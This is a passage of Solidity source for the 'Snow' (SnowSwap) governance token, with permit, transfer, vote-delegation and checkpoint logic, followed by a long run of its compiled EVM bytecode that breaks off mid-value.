* @param spender The address to be approved
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Snow::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Snow::permit: invalid signature");
require(signatory == owner, "Snow::permit: unauthorized");
require(now <= deadline, "Snow::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Snow::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Snow::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Snow::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Snow::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Snow::delegateBySig: invalid nonce");
require(now <= expiry, "Snow::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Snow::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Snow::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Snow::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Snow::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Snow::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Snow::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Snow::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Snow::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806370a08231116100b8578063b4b5ea571161007c578063b4b5ea571461038c578063c3cda520146103bc578063d505accf146103d8578063dd62ed3e146103f4578063e7a324dc14610424578063f1127ed81461044257610137565b806370a08231146102ae578063782d6fe1146102de5780637ecebe001461030e57806395d89b411461033e578063a9059cbb1461035c57610137565b806330adf81f116100ff57806330adf81f146101f6578063313ce56714610214578063587cde1e146102325780635c19a95c146102625780636fcfff451461027e57610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a57806320606b70146101a857806323b872dd146101c6575b600080fd5b610144610473565b6040516101519190612f7d565b60405180910390f35b610174600480360361016f91908101906126a2565b6104ac565b6040516101819190612e17565b60405180910390f35b61019261063e565b60405161019f91906130e1565b60405180910390f35b6101b061064c565b6040516101bd9190612e32565b60405180910390f35b6101e060048036036101db91908101906125b5565b610663565b6040516101ed9190612e17565b60405180910390f35b6101fe6108f5565b60405161020b9190612e32565b60405180910390f35b61021c61090c565b6040516102299190613140565b60405180910390f35b61024c60048036036102479190810190612550565b610911565b6040516102599190612dfc565b60405180910390f35b61027c60048036036102779190810190612550565b610944565b005b61029860048036036102939190810190612550565b610951565b6040516102a591906130fc565b60405180910390f35b6102c860048036036102c39190810190612550565b610974565b6040516102d591906130e1565b60405180910390f35b6102f860048036036102f391908101906126a2565b6109e3565b6040516103059190613176565b60405180910390f35b61032860048036036103239190810190612550565b610df6565b60405161033591906130e1565b60405180910390f35b610346610e0e565b6040516103539190612f7d565b60405180910390f35b610376600480360361037191908101906126a2565b610e47565b6040516103839190612e17565b60405180910390f35b6103a660048036036103a19190810190612550565b610e84565b6040516103b39190613176565b60405180910390f35b6103d660048036036103d191908101906126de565b610f72565b005b6103f260048036036103ed9190810190612604565b611215565b005b61040e60048036036104099190810190612579565b611666565b60405161041b91906130e1565b60405180910390f35b61042c611712565b6040516104399190612e32565b60405180910390f35b61045c60048036036104579190810190612767565b611729565b60405161046a929190613117565b60405180910390f35b6040518060400160405280600881526020017f536e6f775377617000000000000000000000000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156104ff577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9050610524565b6105218360405180606001604052806025815260200161348f60259139611782565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161062b919061315b565b60405180910390a3600191505092915050565b6969e10de76676d080000081565b60405161065890612dd2565b604051809103902081565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006107258560405180606001604052806025815260200161348f60259139611782565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561079f57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b156108dc5760006107c983836040518060600160405280603d81526020016133a2603d91396117e0565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108d2919061315b565b60405180910390a3505b6108e7878783611851565b600193505050509392505050565b60405161090190612dbd565b604051809103902081565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61094e3382611c32565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b6000438210610a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1e90612fc1565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a94576000915050610df0565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b9657600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610df0565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610c17576000915050610df0565b600080905060006001830390505b8163ffffffff168163ffffffff161115610d72576000600283830363ffffffff1681610c4d57fe5b0482039050610c5a6124b9565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610d4a57806020015195505050505050610df0565b86816000015163ffffffff161015610d6457819350610d6b565b6001820392505b5050610c25565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600481526020017f534e4f570000000000000000000000000000000000000000000000000000000081525081565b600080610e6c8360405180606001604052806026815260200161344560269139611782565b9050610e79338583611851565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610eee576000610f6a565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b6000604051610f8090612dd2565b60405180910390206040518060400160405280600881526020017f536e6f775377617000000000000000000000000000000000000000000000000081525080519060200120610fcd611df2565b30604051602001610fe19493929190612ef3565b604051602081830303815290604052805190602001209050600060405161100790612de7565b60405180910390208888886040516020016110259493929190612eae565b60405160208183030381529060405280519060200120905060008282604051602001611052929190612d86565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161108f9493929190612f38565b6020604051602081039080840390855afa1580156110b1573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561112d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112490613041565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505589146111bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b390613061565b60405180910390fd5b874211156111ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f690613081565b60405180910390fd5b611209818b611c32565b50505050505050505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff861415611267577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff905061128c565b6112898660405180606001604052806024815260200161346b60249139611782565b90505b600060405161129a90612dd2565b60405180910390206040518060400160405280600881526020017f536e6f7753776170000000000000000000000000000000000000000000000000815250805190602001206112e7611df2565b306040516020016112fb9493929190612ef3565b604051602081830303815290604052805190602001209050600060405161132190612dbd565b60405180910390208a8a8a600560008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558b60405160200161139096959493929190612e4d565b604051602081830303815290604052805190602001209050600082826040516020016113bd929190612d86565b6040516020818303038152906040528051906020012090506000600182898989604051600081526020016040526040516113fa9493929190612f38565b6020604051602081039080840390855afa15801561141c573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148f906130c1565b60405180910390fd5b8b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fd90613001565b60405180910390fd5b88421115611549576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611540906130a1565b60405180910390fd5b846000808e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508a73ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92587604051611650919061315b565b60405180910390a3505050505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b60405161171e90612de7565b604051809103902081565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c01000000000000000000000000831082906117d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cd9190612f9f565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff1611158290611844576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183b9190612f9f565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b890613021565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611931576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192890612fe1565b60405180910390fd5b6119ab600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16826040518060600160405280603681526020016133df603691396117e0565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611a92600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff168260405180606001604052806030815260200161341560309139611dff565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b5c919061315b565b60405180910390a3611c2d600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611e75565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a4611dec828483611e75565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff1610158390611e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e609190612f9f565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ebf57506000816bffffffffffffffffffffffff16115b1561216b57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612017576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611f62576000611fde565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b9050600061200582856040518060600160405280602881526020016134b4602891396117e0565b905061201386848484612170565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461216a576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116120b5576000612131565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000612158828560405180606001604052806027815260200161334760279139611dff565b905061216685848484612170565b5050505b5b505050565b60006121944360405180606001604052806034815260200161336e60349139612463565b905060008463ffffffff1611801561222957508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b156122c45781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555061240c565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612454929190613191565b60405180910390a25050505050565b6000640100000000831082906124af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a69190612f9f565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b6000813590506124f6816132d3565b92915050565b60008135905061250b816132ea565b92915050565b60008135905061252081613301565b92915050565b60008135905061253581613318565b92915050565b60008135905061254a8161332f565b92915050565b60006020828403121561256257600080fd5b6000612570848285016124e7565b91505092915050565b6000806040838503121561258c57600080fd5b600061259a858286016124e7565b92505060206125ab858286016124e7565b9150509250929050565b6000806000606084860312156125ca57600080fd5b60006125d8868287016124e7565b93505060206125e9868287016124e7565b92505060406125fa86828701612511565b9150509250925092565b600080600080600080600060e0888a03121561261f57600080fd5b600061262d8a828b016124e7565b975050602061263e8a828b016124e7565b965050604061264f8a828b01612511565b95505060606126608a828b01612511565b94505060806126718a828b0161253b565b93505060a06126828a828b016124fc565b92505060c06126938a828b016124fc565b91505092959891949750929550565b600080604083850312156126b557600080fd5b60006126c3858286016124e7565b92505060206126d485828601612511565b9150509250929050565b60008060008060008060c087890312156126f757600080fd5b600061270589828a016124e7565b965050602061271689828a01612511565b955050604061272789828a01612511565b945050606061273889828a0161253b565b935050608061274989828a016124fc565b92505060a061275a89828a016124fc565b9150509295509295509295565b6000806040838503121561277a57600080fd5b6000612788858286016124e7565b925050602061279985828601612526565b9150509250929050565b6127ac816131ec565b82525050565b6127bb816131fe565b82525050565b6127ca8161320a565b82525050565b6127e16127dc8261320a565b6132b8565b82525050565b60006127f2826131c5565b6127fc81856131d0565b935061280c818560208601613285565b612815816132c2565b840191505092915050565b600061282b826131ba565b61283581856131d0565b9350612845818560208601613285565b61284e816132c2565b840191505092915050565b60006128666002836131e1565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b60006128a66027836131d0565b91507f536e6f773a3a6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061290c603a836131d0565b91507f536e6f773a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e7366657220746f20746865207a65726f20616464726573730000000000006020830152604082019050919050565b6000612972601a836131d0565b91507f536e6f773a3a7065726d69743a20756e617574686f72697a65640000000000006000830152602082019050919050565b60006129b2603c836131d0565b91507f536e6f773a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e736665722066726f6d20746865207a65726f2061646472657373000000006020830152604082019050919050565b6000612a186052836131e1565b91507f5065726d69742861646472657373206f776e65722c616464726573732073706560008301527f6e6465722c75696e743235362076616c75652c75696e74323536206e6f6e636560208301527f2c75696e7432353620646561646c696e652900000000000000000000000000006040830152605282019050919050565b6000612aa46026836131d0565b91507f536e6f773a3a64656c656761746542795369673a20696e76616c69642073696760008301527f6e617475726500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612b0a6043836131e1565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b6000612b966022836131d0565b91507f536e6f773a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612bfc6026836131d0565b91507f536e6f773a3a64656c656761746542795369673a207369676e6174757265206560008301527f78706972656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612c62603a836131e1565b91507f44656c65676174696f6e28616464726573732064656c6567617465652c75696e60008301527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020830152603a82019050919050565b6000612cc8601f836131d0565b91507f536e6f773a3a7065726d69743a207369676e61747572652065787069726564006000830152602082019050919050565b6000612d08601f836131d0565b91507f536e6f773a3a7065726d69743a20696e76616c6964207369676e6174757265006000830152602082019050919050565b612d4481613234565b82525050565b612d538161323e565b82525050565b612d628161324e565b82525050565b612d7181613273565b82525050565b612d808161325b565b82525050565b6000612d9182612859565b9150612d9d82856127d0565b602082019150612dad82846127d0565b6020820191508190509392505050565b6000612dc882612a0b565b9150819050919050565b6000612ddd82612afd565b9150819050919050565b6000612df282612c55565b9150819050919050565b6000602082019050612e1160008301846127a3565b92915050565b6000602082019050612e2c60008301846127b2565b92915050565b6000602082019050612e4760008301846127c1565b92915050565b600060c082019050612e6260008301896127c1565b612e6f60208301886127a3565b612e7c60408301876127a3565b612e896060830186612d3b565b612e966080830185612d3b565b612ea360a0830184612d3b565b979650505050505050565b6000608082019050612ec360008301876127c1565b612ed060208301866127a3565b612edd6040830185612d3b565b612eea6060830184612d3b565b95945050505050565b6000608082019050612f0860008301876127c1565b612f1560208301866127c1565b612f226040830185612d3b565b612f2f60608301846127a3565b95945050505050565b6000608082019050612f4d60008301876127c1565b612f5a6020830186612d59565b612f6760408301856127c1565b612f7460608301846127c1565b95945050505050565b60006020820190508181036000830152612f978184612820565b905092915050565b60006020820190508181036000830152612fb981846127e7565b905092915050565b60006020820190508181036000830152612fda81612899565b9050919050565b60006020820190508181036000830152612ffa816128ff565b9050919050565b6000602082019050818103600083015261301a81612965565b9050919050565b6000602082019050818103600083015261303a816129a5565b9050919050565b6000602082019050818103600083015261305a81612a97565b9050919050565b6000602082019050818103600083015261307a81612b89565b9050919050565b6000602082019050818103600083015261309a81612bef565b9050919050565b600060208201905081810360008301526130ba81612cbb565b9050919050565b600060208201905081810360008301526130da81612cfb565b9050919050565b60006020820190506130f66000830184612d3b565b92915050565b60006020820190506131116000830184612d4a565b92915050565b600060408201905061312c6000830185612d4a565b6131396020830184612d77565b9392505050565b60006020820190506131556000830184612d59565b92915050565b60006020820190506131706000830184612d68565b92915050565b600060208201905061318b6000830184612d77565b92915050565b60006040820190506131a66000830185612d68565b6131b36020830184612d68565b9392505050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b60006131f782613214565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff